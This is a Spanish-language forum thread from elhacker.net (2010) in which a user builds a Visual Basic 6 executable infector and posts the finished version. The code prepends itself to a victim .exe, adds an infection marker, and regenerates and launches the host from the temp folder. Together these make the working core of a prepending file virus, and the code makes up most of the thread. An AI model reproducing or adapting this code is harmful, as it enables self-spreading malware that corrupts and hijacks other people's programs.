Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: r0xSoFT en 19 Junio 2010, 02:14 AM

Título: Infección exe con Visual Basic 6 (SOLUCIONADO)
Publicado por: r0xSoFT en 19 Junio 2010, 02:14 AM
Wenasss noches gente.


Tengo una duda/problemilla con mi aplicación. Os comento.


Estoy desarrollando un proyecto... blablabla (tipico xDD). Total, que realizo la infección de un exe abriendolo, cogiendo su codigo (victima), abriendo mi prog, cogiendo mi codigo (atacante?) y reescribiendo la victima con mi codigo, y despues con el suyo.

El tema está en que para hacer pruebas, lo que la victima hace es crear un txt llamado "hola", y mi prog crea otro txt llamado "bu.txt" (si, nombres originales... xDD). La "infección" va bien, el exe pesa lo suyo (victima+atacante), pero solo crea el fichero "bu.txt" (siempre y cuando primero inyecte mi codigo en primer lugar). La pregunta es: ¿no debería crear los 2 txt´s?. Ya se que es muy básico, pero necesito saber si una vez ejecutado mi codigo, el otro exe (la victima), sigue con lo suyo...


PD: La función la saque de este foro (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html (http://foro.elhacker.net/programacion_visual_basic/source_infeccion_de_ejecutables_en_vb6-t160863.0.html)). Como supongo que necesitais el codigo, lo adjunto.


Salu2 y gracias anticipadas!!!!!

Codigo "atacante"

Código (vb) [Seleccionar]

Private Sub Form_Load()
Open App.Path & "\bu.txt" For Output As #2
Print #2, "aaaa"
Close #2
infectar ("prog1.exe")
Unload Me
End
End Sub

Function infectar(ByVal Victim As String)
   On Error Resume Next
   Dim VictimCode As String
   Dim NewCode As String
   Dim MyCode As String

'Mi codigo
   Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
       MyCode = Input(LOF(1), 1)
   Close #1

'Victima
   Open Victim For Binary As #1
       VictimCode = Input(LOF(1), 1)
   Close #1

   NewCode = MyCode & VictimCode

'Final
   Open Victim For Binary As #1
       Put #1, , NewCode
   Close #1
End Function



Codigo "victima"

Código (vb) [Seleccionar]

Private Sub Form_Load()
Open App.Path + "\hola.txt" For Output As #1
Print #1, "hola"
Close #1
Unload Me
End
End Sub
Título: Re: Infección exe con Visual Basic 6
Publicado por: Dreamaker en 19 Junio 2010, 13:51 PM
Coloca tu código entre [+code=vb][+/code] por favor (Sin el "+")

Gracias ;)
Título: Re: Infección exe con Visual Basic 6
Publicado por: r0xSoFT en 20 Junio 2010, 20:00 PM
Ta ta, sorry por el despiste...

Alguno me exa una manilla ??
Título: Re: Infección exe con Visual Basic 6
Publicado por: r0xSoFT en 21 Junio 2010, 12:49 PM
Ya sta, al final logré correr el huesped con un createprocess xDD.


Salu2!
Título: Re: Infección exe con Visual Basic 6 (SOLUCIONADO)
Publicado por: r0xSoFT en 24 Junio 2010, 11:03 AM
Pongo el codigo funcionando (lanzando el huesped con un "shell")

Código (vb) [Seleccionar]

Public Function Infectar(sArchivo As String)
Dim sMicodigo As String
Dim sVictima As String
Dim sNuevo As String

Open sArchivo For Binary As #1
sVictima = Space(LOF(1))
Get #1, , sVictima
Close #1

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sMicodigo = Space(LOF(1))
Get #1, , sMicodigo
Close #1

sNuevo = sMicodigo & sVictima & "wG" 'Marca de infección

Open sArchivo For Binary As #1
Put #1, , sNuevo
Close #1

End Function

'Regenerar huesped
Public Function Regenerar(sArchivo As String)
Randomize
Dim sBuffer As String
Dim sVirus As String
Dim sFinal As String

sFinal = Environ("TMP") & "\" & Int((Rnd * 99999) + 3) & ".exe"
Const vsc = 20480 'Tamaño del virus

Open sArchivo For Binary As #1
sVirus = Space(vsc)
sBuffer = Space(LOF(1) - vsc)
Get #1, , sVirus
Get #1, , sBuffer
Close #1

Open sFinal For Binary As #1
Put #1, , sBuffer
Close #1

Shell sFinal

End Function